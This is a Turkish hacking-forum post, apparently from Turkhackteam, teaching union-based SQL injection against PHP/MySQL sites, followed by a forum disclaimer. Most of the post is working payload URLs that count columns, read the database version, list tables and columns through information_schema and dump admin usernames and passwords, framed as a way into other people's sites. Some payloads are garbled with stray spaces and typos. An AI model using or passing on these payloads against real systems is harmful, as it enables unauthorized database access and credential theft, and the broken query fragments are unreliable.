MySQL Inj. Makale

Se-ZeR

Emektar
12 Tem 2008
10,796
116
Antalya
Bu konuda daha önce videolu anlatımını da yaptığım mysql injection/php de sql injection’dan bahsetmek istiyorum.
Öncelikle access ınjection,mysql injection v5 ve mysql injection v4 nedir bunları açıklamak isterim.
access:asp sistemlerindeki sql injection açıklarıdır ve deneme yanılma yöntemi ile bilgilere ulaşılır mysql injectiondan biraz zordur.
mysql ınjection version5: php sistemlerindeki bir sql ınjection acıgıdır.bilgiler deneme yanılma değil belirli komutları kullanarak bulunur basittir.
mysql injection version4: sistemlerindeki bir sql ınjection acıgıdır.bilgiler access’de olduğu gibi deneme yanılma yöntemleriyle bulunur.
Ben bu konuda mysql injection version 5 ten bahsedeceğim.
Bir sitede mysql açığı olabilmesi için o sitenin şu şekilde olması gerekir.

htpp://site.com/page.php?id=10
ve bu sitede sql injection hatası olup olmadığını anlamak için şu komut kullanılır.
face=Courier New, Courier, mono http://site.com/page.php?id=10’a yani site sonuna hassas karakter olan (’) bu karakter kullanılır.
bunu yaptıktan sonra önünüze söyle bir hata;

Warning: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for
the right syntax to use near ’\\’a’ at line 1 in /home/fergus/public_html/clases/ezsql/mysql/ez_sql_mysql.php on line 204

çıktığı takdirde sitede mysql acıgı mevcuttur.
Daha sonra order by komutuyla kolon sayımızı belirliyoruz diyelim ki kolon sayımız 10;
face=Courier New, Courier, mono http://site.com/page.php?id=10+order by+2 >>> bunu yapınca normal sayfa cıkıyor...
htpp://site.com/page.php?id=10+order by+8 >>> bunu yapınca da normal sayfa cıkıyorsa yükselterek devam ediyoruz...
htpp://site.com/page.php?id=10+order by+15 >>> bunu yapınca da su hatayı alıyoruz ;

Warning: Unknown column ’15’ in ’order clause’ in /home/fergus/public_html/clases/ezsql/mysql/ez_sql_mysql.php on line 204
demek ki neymiş kolon sayımız 8 ile 15 arasındaymış...evet devam edelim...
face=Courier New, Courier, mono http://site.com/page.php?id=10+order by+10 >>> bunu yapınca da normal sayfa cıkıyor yani aralığımız 10-15 arasına düşüyor.
face=Courier New, Courier, mono http://site.com/page.php?id=10+order by+11 >>> bunu yapınca hata alıyoruz;

Warning: Unknown column ’11’ in ’order clause’
burdan da anlaşıldığı üzre 10 ve aşağısında normal sayfa ve 10 un yukarısında hata veriyor ise kolon sayımız 10’dur.
Şimdi geldi sıra belirleyici sayımızı öğrenmeye o sayı bizim cok işimize yarayacak cünkü onun sayesinde herşeyi öğreneceğiz.
simdi su sekilde devam ediyoruz;

face=Courier New, Courier, mono http://site.com/page.php?id=-10+union+select+1,2,3,4,5,6,7,8,9,10-- veya 0’dan başlayarak şu sekilde de olabilir; https://tik.lat/BjAP8 önemli olan
kaça kadar olduğu değil kaç tane olduğu 0’dan 9’a kadar da 10 sayı vardır 1’den 10’a kadar da 10 sayı vardır mantığı

bunu yaptıgımızda diyelim ki belirleyici sayımız 3 çıksın önümüze yansır zaten 3 kalın olarak önünüze başka sayılar da
yansıyabilir fakat bu sizi aldatmasın en kalın olanı belirleyicidir yanıldınız diyelim zaten en fazla 3 tane cıkar :d birinden
biri mutlaka size yarayacaktır versiyonu yansıtırken.
versiyon demişken sıra geldi versiyonu yansıtmaya simdi en can alıcı nokta burası versiyon 4 mü versiyon 5 mi biz 5’i anlattığımız için 5 tabiki

face=Courier New, Courier, mono http://site.com/page.php?id=10+union+select+1,2,version(),4,5,6,7, 8,9,10--
evet simdi belirleyici sayımız 3’tü url de 3 yerine @@version veya version() bunlardan birisini koyduğunuzda versiyon önünüze yansır.
5.... veya 4.... bunlardan 5 ile başlayanı 5.,4 ile başlayanı 4. versiyondur.
Şimdi versiyonu da öğrendik versiyon 5.şimdi sıra geldi tabloları yansıtmaya söyle devam ediyoruz...

face=Courier New, Courier, mono http://site.com/page.php?id=10+union+select+1,2,group_concat(table _name),4,5,6,7,8,9,10+from+information_schema.tabl es--
veya
face=Courier New, Courier, mono http://site.com/page.php?id=10+union+select+1,2,group_concat(table _name),4,5,6,7,8,9,10+from+information_schema.tabl es+where+table_schema=databese()

bunu yaparsanız tavsiyem ikincisidir cünkü işe yarayanlar ikincisiyle yansır.Büyük harfli olanlar işe yaramazdır genelde....
rs_agree,rs_gold,rs_items,rs_items_price,rs_news,r s_order,rs_promotion,rs_ratio,rs_users diyelim ki tablo adları bunlar burdan işe yarayanı az cok tahmin edebilirsiniz sizde işe yarayan rs_users tablosudur buradan kolon adlarını cekicez.Simdi de su kodla devam edelim;
face=Courier New, Courier, mono http://site.com/page.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10+from+information_schema.columns+where+ta ble_name=CHAR(rs_users)
bakın bunu yapınca ne olucak tabi ki hata alıcaksınız neden ??? cünkü rs_users tablosunu ASCII karakterlere yani numeric karakterlere cevirmedik
peki nasıl çeviricez bunun için cok kullanıslı ve ufak programlar var vericem konu altında biz cevirdik kabul edip söyle devam ediyoruz;

face=Courier New, Courier, mono http://site.com/page.php?id=-10+union+select+1,2,group_concat(table_name),4,5,6 ,7,8,9,10+from+information_schema.columns+where+ta ble_name=CHAR(114,115,95,117,115,101,114,115)
evet bunu yaptıgımızda bakalım önümüze yansıyan kolon adlarına ;
ID,USER,PWD,DATE >>> bunlardan hangisi yarar bizim işimize tabiki USER ve PWD (password) evet
aralarına 0x3a yani ":" iki nokta üst üste koyuyoruz sakın ":" bunu koymaya kalkmayın bunun cevrilmiş hali yani
"0x3a" bunu koyuyoruz ve devam ediyoruz su kodla ;

face=Courier New, Courier, mono http://site.com/page.php?id=-10+union+select+1,2,group_concat(USER,0x3a,PWD),4, 5,6,7,8,9,10+from+rs_users--
face=Courier New, Courier, mono http://site.com/page.php?id=-10+union+select+1,2,group_concat(USER,0x3a,PWD),4, 5,6,7,8,9,10+from+where+id=1--

evet bunlardan birisini yaptıgımızda önümüze admin’in kullanıcı adı ve şifresi gelicektir.Şifresi gelmese de md5 gelicektir.


Alıntı..!
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.